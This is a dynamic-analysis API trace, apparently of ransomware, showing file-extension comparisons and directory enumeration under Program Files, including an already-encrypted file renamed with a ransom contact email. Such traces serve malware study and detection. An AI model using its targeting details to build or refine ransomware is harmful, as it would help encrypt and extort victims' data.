	[0189.448] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.448] lstrlenW (lpString=".accda") returned 6
	[0189.448] lstrcmpiW (lpString1=".accda", lpString2="db.dll") returned -1
	[0189.448] lstrlenW (lpString=".accdb") returned 6
	[0189.448] lstrcmpiW (lpString1=".accdb", lpString2="db.dll") returned -1
	[0189.448] lstrlenW (lpString=".accdc") returned 6
	[0189.448] lstrcmpiW (lpString1=".accdc", lpString2="db.dll") returned -1
	[0189.448] lstrlenW (lpString=".accde") returned 6
	[0189.448] lstrcmpiW (lpString1=".accde", lpString2="db.dll") returned -1
	[0189.448] lstrlenW (lpString=".accdt") returned 6
	[0189.448] lstrcmpiW (lpString1=".accdt", lpString2="db.dll") returned -1
	[0189.448] lstrlenW (lpString=".accdw") returned 6
	[0189.448] lstrcmpiW (lpString1=".accdw", lpString2="db.dll") returned -1
	[0189.448] lstrlenW (lpString=".adb") returned 4
	[0189.448] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
	[0189.448] lstrlenW (lpString=".adp") returned 4
	[0189.448] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0189.448] lstrlenW (lpString=".ai") returned 3
	[0189.448] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0189.448] lstrlenW (lpString=".ai3") returned 4
	[0189.448] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0189.448] lstrlenW (lpString=".ai4") returned 4
	[0189.448] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0189.448] lstrlenW (lpString=".ai5") returned 4
	[0189.448] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
	[0189.449] lstrlenW (lpString=".ai6") returned 4
	[0189.449] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0189.449] lstrlenW (lpString=".ai7") returned 4
	[0189.450] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0189.450] lstrlenW (lpString=".ai8") returned 4
	[0189.450] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0189.450] lstrlenW (lpString=".anim") returned 5
	[0189.450] lstrcmpiW (lpString1=".anim", lpString2="b.dll") returned -1
	[0189.450] lstrlenW (lpString=".arw") returned 4
	[0189.450] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0189.450] lstrlenW (lpString=".as") returned 3
	[0189.450] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0189.450] lstrlenW (lpString=".asa") returned 4
	[0189.450] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
	[0189.450] lstrlenW (lpString=".asc") returned 4
	[0189.450] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0189.450] lstrlenW (lpString=".ascx") returned 5
	[0189.450] lstrcmpiW (lpString1=".ascx", lpString2="b.dll") returned -1
	[0189.450] lstrlenW (lpString=".asm") returned 4
	[0189.450] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0189.450] lstrlenW (lpString=".asmx") returned 5
	[0189.450] lstrcmpiW (lpString1=".asmx", lpString2="b.dll") returned -1
	[0189.450] lstrlenW (lpString=".asp") returned 4
	[0189.450] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0189.450] lstrlenW (lpString=".aspx") returned 5
	[0189.450] lstrcmpiW (lpString1=".aspx", lpString2="b.dll") returned -1
	[0189.450] lstrlenW (lpString=".asr") returned 4
	[0189.450] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0189.450] lstrlenW (lpString=".asx") returned 4
	[0189.450] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0189.450] lstrlenW (lpString=".avi") returned 4
	[0189.450] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0189.450] lstrlenW (lpString=".avs") returned 4
	[0189.450] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0189.450] lstrlenW (lpString=".backup") returned 7
	[0189.450] lstrcmpiW (lpString1=".backup", lpString2="edb.dll") returned -1
	[0189.450] lstrlenW (lpString=".bak") returned 4
	[0189.450] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0189.450] lstrlenW (lpString=".bay") returned 4
	[0189.450] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0189.451] lstrlenW (lpString=".bd") returned 3
	[0189.451] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
	[0189.451] lstrlenW (lpString=".bin") returned 4
	[0189.451] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0189.451] lstrlenW (lpString=".bmp") returned 4
	[0189.451] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0189.451] lstrlenW (lpString=".bz2") returned 4
	[0189.451] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.451] lstrlenW (lpString=".c") returned 2
	[0189.451] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0189.451] lstrlenW (lpString=".cdr") returned 4
	[0189.451] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0189.451] lstrlenW (lpString=".cer") returned 4
	[0189.451] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0189.451] lstrlenW (lpString=".cf") returned 3
	[0189.451] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0189.451] lstrlenW (lpString=".cfc") returned 4
	[0189.451] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0189.451] lstrlenW (lpString=".cfm") returned 4
	[0189.451] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0189.451] lstrlenW (lpString=".cfml") returned 5
	[0189.451] lstrcmpiW (lpString1=".cfml", lpString2="b.dll") returned -1
	[0189.451] lstrlenW (lpString=".cfu") returned 4
	[0189.451] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0189.451] lstrlenW (lpString=".chm") returned 4
	[0189.451] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0189.451] lstrlenW (lpString=".cin") returned 4
	[0189.451] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0189.451] lstrlenW (lpString=".class") returned 6
	[0189.451] lstrcmpiW (lpString1=".class", lpString2="db.dll") returned -1
	[0189.451] lstrlenW (lpString=".clx") returned 4
	[0189.451] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0189.451] lstrlenW (lpString=".config") returned 7
	[0189.451] lstrcmpiW (lpString1=".config", lpString2="edb.dll") returned -1
	[0189.451] lstrlenW (lpString=".cpp") returned 4
	[0189.451] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0189.451] lstrlenW (lpString=".cr2") returned 4
	[0189.452] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0189.452] lstrlenW (lpString=".crt") returned 4
	[0189.452] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0189.452] lstrlenW (lpString=".crw") returned 4
	[0189.452] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0189.452] lstrlenW (lpString=".cs") returned 3
	[0189.452] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0189.452] lstrlenW (lpString=".css") returned 4
	[0189.452] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0189.452] lstrlenW (lpString=".csv") returned 4
	[0189.452] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0189.452] lstrlenW (lpString=".cub") returned 4
	[0189.452] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0189.452] lstrlenW (lpString=".dae") returned 4
	[0189.452] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0189.452] lstrlenW (lpString=".dat") returned 4
	[0189.452] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0189.452] lstrlenW (lpString=".db") returned 3
	[0189.452] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0189.452] lstrlenW (lpString=".dbf") returned 4
	[0189.452] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.452] lstrlenW (lpString=".dbx") returned 4
	[0189.452] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0189.452] lstrlenW (lpString=".dc3") returned 4
	[0189.452] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0189.452] lstrlenW (lpString=".dcm") returned 4
	[0189.452] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0189.452] lstrlenW (lpString=".dcr") returned 4
	[0189.452] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0189.452] lstrlenW (lpString=".der") returned 4
	[0189.452] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0189.452] lstrlenW (lpString=".dib") returned 4
	[0189.452] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0189.452] lstrlenW (lpString=".dic") returned 4
	[0189.452] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0189.452] lstrlenW (lpString=".dif") returned 4
	[0189.452] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
	[0189.453] lstrlenW (lpString=".divx") returned 5
	[0189.453] lstrcmpiW (lpString1=".divx", lpString2="b.dll") returned -1
	[0189.453] lstrlenW (lpString=".djvu") returned 5
	[0189.453] lstrcmpiW (lpString1=".djvu", lpString2="b.dll") returned -1
	[0189.453] lstrlenW (lpString=".dng") returned 4
	[0189.453] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0189.453] lstrlenW (lpString=".doc") returned 4
	[0189.453] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.453] lstrlenW (lpString=".docm") returned 5
	[0189.453] lstrcmpiW (lpString1=".docm", lpString2="b.dll") returned -1
	[0189.453] lstrlenW (lpString=".docx") returned 5
	[0189.453] lstrcmpiW (lpString1=".docx", lpString2="b.dll") returned -1
	[0189.453] lstrlenW (lpString=".dot") returned 4
	[0189.453] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0189.453] lstrlenW (lpString=".dotm") returned 5
	[0189.453] lstrcmpiW (lpString1=".dotm", lpString2="b.dll") returned -1
	[0189.453] lstrlenW (lpString=".dotx") returned 5
	[0189.453] lstrcmpiW (lpString1=".dotx", lpString2="b.dll") returned -1
	[0189.453] lstrlenW (lpString=".dpx") returned 4
	[0189.453] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0189.453] lstrlenW (lpString=".dqy") returned 4
	[0189.453] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0189.453] lstrlenW (lpString=".dsn") returned 4
	[0189.453] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0189.453] lstrlenW (lpString=".dt") returned 3
	[0189.453] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0189.453] lstrlenW (lpString=".dtd") returned 4
	[0189.453] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0189.453] lstrlenW (lpString=".dwg") returned 4
	[0189.453] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0189.453] lstrlenW (lpString=".dwt") returned 4
	[0189.453] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0189.453] lstrlenW (lpString=".dx") returned 3
	[0189.453] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0189.453] lstrlenW (lpString=".dxf") returned 4
	[0189.453] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0189.453] lstrlenW (lpString=".edml") returned 5
	[0189.454] lstrcmpiW (lpString1=".edml", lpString2="b.dll") returned -1
	[0189.454] lstrlenW (lpString=".efd") returned 4
	[0189.454] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0189.454] lstrlenW (lpString=".elf") returned 4
	[0189.454] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0189.454] lstrlenW (lpString=".emf") returned 4
	[0189.454] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0189.454] lstrlenW (lpString=".emz") returned 4
	[0189.454] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0189.454] lstrlenW (lpString=".epf") returned 4
	[0189.454] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0189.454] lstrlenW (lpString=".eps") returned 4
	[0189.454] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0189.454] lstrlenW (lpString=".epsf") returned 5
	[0189.454] lstrcmpiW (lpString1=".epsf", lpString2="b.dll") returned -1
	[0189.454] lstrlenW (lpString=".epsp") returned 5
	[0189.454] lstrcmpiW (lpString1=".epsp", lpString2="b.dll") returned -1
	[0189.454] lstrlenW (lpString=".erf") returned 4
	[0189.454] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0189.454] lstrlenW (lpString=".exr") returned 4
	[0189.454] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0189.454] lstrlenW (lpString=".f4v") returned 4
	[0189.454] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0189.454] lstrlenW (lpString=".fido") returned 5
	[0189.454] lstrcmpiW (lpString1=".fido", lpString2="b.dll") returned -1
	[0189.454] lstrlenW (lpString=".flm") returned 4
	[0189.454] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0189.454] lstrlenW (lpString=".flv") returned 4
	[0189.454] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0189.454] lstrlenW (lpString=".frm") returned 4
	[0189.454] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0189.454] lstrlenW (lpString=".fxg") returned 4
	[0189.454] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0189.454] lstrlenW (lpString=".geo") returned 4
	[0189.454] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0189.454] lstrlenW (lpString=".gif") returned 4
	[0189.454] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0189.455] lstrlenW (lpString=".grs") returned 4
	[0189.455] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0189.455] lstrlenW (lpString=".gz") returned 3
	[0189.455] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0189.455] lstrlenW (lpString=".h") returned 2
	[0189.455] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0189.455] lstrlenW (lpString=".hdr") returned 4
	[0189.455] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1
	[0189.455] lstrlenW (lpString="sqloledb.rll") returned 12
	[0189.455] lstrlenW (lpString=".1cd") returned 4
	[0189.455] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4fa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1
	[0189.455] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1
	[0189.455] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 0
	[0189.455] FindClose (in: hFindFile=0x3fb2658 | out: hFindFile=0x3fb2658) returned 1
	[0189.455] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3ff78a0 | out: hHeap=0x750000) returned 1
	[0189.455] FindNextFileW (in: hFindFile=0x3fb21d8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x378, dwReserved1=0xffffe18f, cFileName="wab32.dll", cAlternateFileName="")) returned 1
	[0189.455] FindNextFileW (in: hFindFile=0x3fb21d8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb600, dwReserved0=0x378, dwReserved1=0xffffe18f, cFileName="wab32res.dll", cAlternateFileName="")) returned 1
	[0189.456] FindNextFileW (in: hFindFile=0x3fb21d8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb600, dwReserved0=0x378, dwReserved1=0xffffe18f, cFileName="wab32res.dll", cAlternateFileName="")) returned 0
	[0189.456] FindClose (in: hFindFile=0x3fb21d8 | out: hFindFile=0x3fb21d8) returned 1
	[0189.456] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fe7090 | out: hHeap=0x750000) returned 1
	[0189.457] FindNextFileW (in: hFindFile=0x3fb20d8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0
	[0189.457] FindClose (in: hFindFile=0x3fb20d8 | out: hFindFile=0x3fb20d8) returned 1
	[0189.458] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fd7088 | out: hHeap=0x750000) returned 1
	[0189.458] FindNextFileW (in: hFindFile=0x3fb23d8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3788b3ca, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3788b3ca, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3788b3ca, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0xc90, dwReserved1=0xffffc550, cFileName="desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DESKTO~1.Z9")) returned 1
	[0189.458] FindNextFileW (in: hFindFile=0x3fb23d8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4100f287, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x4100f287, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc90, dwReserved1=0xffffc550, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0189.458] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4100f287, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x4100f287, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3fb2698
	[0189.693] FindNextFileW (in: hFindFile=0x3fb2698, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4100f287, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x4100f287, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0189.693] FindNextFileW (in: hFindFile=0x3fb2698, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0a5e80, ftCreationTime.dwHighDateTime=0x1d55a74, ftLastAccessTime.dwLowDateTime=0x3f422a10, ftLastAccessTime.dwHighDateTime=0x1d56436, ftLastWriteTime.dwLowDateTime=0x3f422a10, ftLastWriteTime.dwHighDateTime=0x1d56436, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="afr38.exe", cAlternateFileName="")) returned 1
	[0189.693] FindNextFileW (in: hFindFile=0x3fb2698, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0189.693] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3fb24d8
	[0189.694] FindNextFileW (in: hFindFile=0x3fb24d8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0189.694] FindNextFileW (in: hFindFile=0x3fb24d8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2dfe94, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x68e10600, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1
	[0189.694] FindNextFileW (in: hFindFile=0x3fb24d8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b3c4cb5, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1
	[0189.694] FindNextFileW (in: hFindFile=0x3fb24d8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2212c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1
	[0189.694] FindNextFileW (in: hFindFile=0x3fb24d8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2212c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 0
	[0189.694] FindClose (in: hFindFile=0x3fb24d8 | out: hFindFile=0x3fb24d8) returned 1
	[0189.694] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x400a8b8 | out: hHeap=0x750000) returned 1
	[0189.694] FindNextFileW (in: hFindFile=0x3fb2698, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1
	[0189.694] FindNextFileW (in: hFindFile=0x3fb2698, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd400, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1
